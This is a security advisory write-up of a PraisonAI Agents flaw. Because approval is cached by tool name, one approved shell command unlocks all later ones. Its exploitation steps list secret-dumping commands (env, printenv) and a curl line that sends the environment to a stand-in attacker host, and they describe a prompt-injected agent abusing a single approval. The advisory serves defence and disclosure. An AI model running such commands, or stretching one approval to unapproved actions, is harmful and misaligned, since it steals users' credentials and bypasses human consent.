CVE-2026-56074: 
PraisonAI vulnerability analysis and mitigation

CVE-2026-56074 is a coarse-grained tool approval cache bypass vulnerability in PraisonAI Agents that allows credential and API key exfiltration without per-invocation user consent. The flaw affects PraisonAI (praisonaiagents pip package) versions before 1.5.128 and was published on June 18, 2026. It was assigned a CVSS v3.1 score of 5.5 (Medium) and a CVSS v4.0 score of 6.8 (Medium), classified under CWE-863 (Incorrect Authorization) (GitHub Advisory, GitHub Advisory DB).

The root cause is that the require_approval decorator in src/praisonai-agents/praisonaiagents/approval/__init__.py checks approval status by tool name only (via is_already_approved(tool_name)), not by the specific arguments passed to the tool. Once a user approves any invocation of execute_command (e.g., ls -la), the mark_approved function stores only the string "execute_command" in a ContextVar-backed registry, granting session-wide blanket approval for all subsequent calls to that tool regardless of arguments. Compounding this, shell_tools.py passes the full process environment (os.environ.copy()) to every subprocess, exposing all environment variables — including OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, and DATABASE_URL — to any subsequently executed command. The approval cache is never cleared during agent execution, and the console UI misleads users by displaying specific command arguments while implying per-invocation consent (GitHub Advisory).

Successful exploitation results in high confidentiality impact: an LLM agent (or one subjected to prompt injection) can silently dump all process environment variables and extract sensitive credentials — such as cloud provider keys, database URLs, and LLM API keys — after a single user-approved benign command. There is no integrity or availability impact. The misleading consent UI creates a false sense of security, as users believe they are granting per-invocation approval when they are actually granting session-wide shell access (GitHub Advisory).

1. Setup: Deploy or access a PraisonAI Agents environment running a version prior to 1.5.128 with the execute_command shell tool enabled.
2. Craft benign initial request: Instruct the LLM agent (or directly invoke) execute_command with a harmless command such as ls -la. The console UI displays the command and prompts the user for approval.
3. Obtain user approval: The user approves the benign command, triggering mark_approved("execute_command") which stores only the tool name in the approval cache — not the specific arguments.
4. Bypass approval for subsequent commands: Issue additional execute_command calls with sensitive payloads (e.g., execute_command(command="env") or execute_command(command="printenv OPENAI_API_KEY")). Because is_already_approved("execute_command") returns True, these calls execute immediately with no approval prompt.
5. Exfiltrate credentials: The subprocess receives the full os.environ.copy() environment, so commands like env, printenv, or targeted variable lookups return all API keys and secrets present in the process environment.
6. Exfiltrate externally (if prompt-injected): An LLM agent under prompt injection could pipe the output to an external endpoint (e.g., curl -d "$(env)" https://attacker.example.com) in a single unapproved shell command (GitHub Advisory).

• Logs: Agent execution logs showing multiple execute_command invocations after a single approval event, particularly commands such as env, printenv, cat /proc/*/environ, or targeted variable lookups (e.g., printenv OPENAI_API_KEY).
• Process: Unexpected child processes spawned by the PraisonAI Python process executing environment-dumping commands (env, printenv) or outbound data transfer tools (curl, wget, nc) without corresponding approval log entries.
• Network: Outbound HTTP/HTTPS requests from the PraisonAI host to unknown external endpoints shortly after a tool approval event, potentially carrying environment variable data in request bodies or query parameters.
• File System: Temporary files written to disk containing environment variable dumps or credential strings, created by the PraisonAI process user account (GitHub Advisory).

Upgrade PraisonAI (praisonaiagents) to version 1.5.128 or later, which is the patched release (GitHub Advisory). As a workaround prior to patching, implement per-invocation approval caching by storing a hash of (tool_name, arguments) instead of just the tool name for critical-risk tools, and filter sensitive environment variables (matching patterns like _KEY, _SECRET, _TOKEN, _PASSWORD) from the os.environ.copy() passed to subprocesses. Additionally, review and clear cached approval decisions between agent task boundaries, and monitor for suspicious command execution patterns following tool approvals.

The vulnerability was reported via VulnCheck and published as a GitHub Security Advisory (GHSA-ffp3-3562-8cv3) by the PraisonAI maintainer. A duplicate advisory (GHSA-x44p-gg67-52fc) was withdrawn on June 19, 2026. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (GitHub Advisory, GitHub Advisory DB).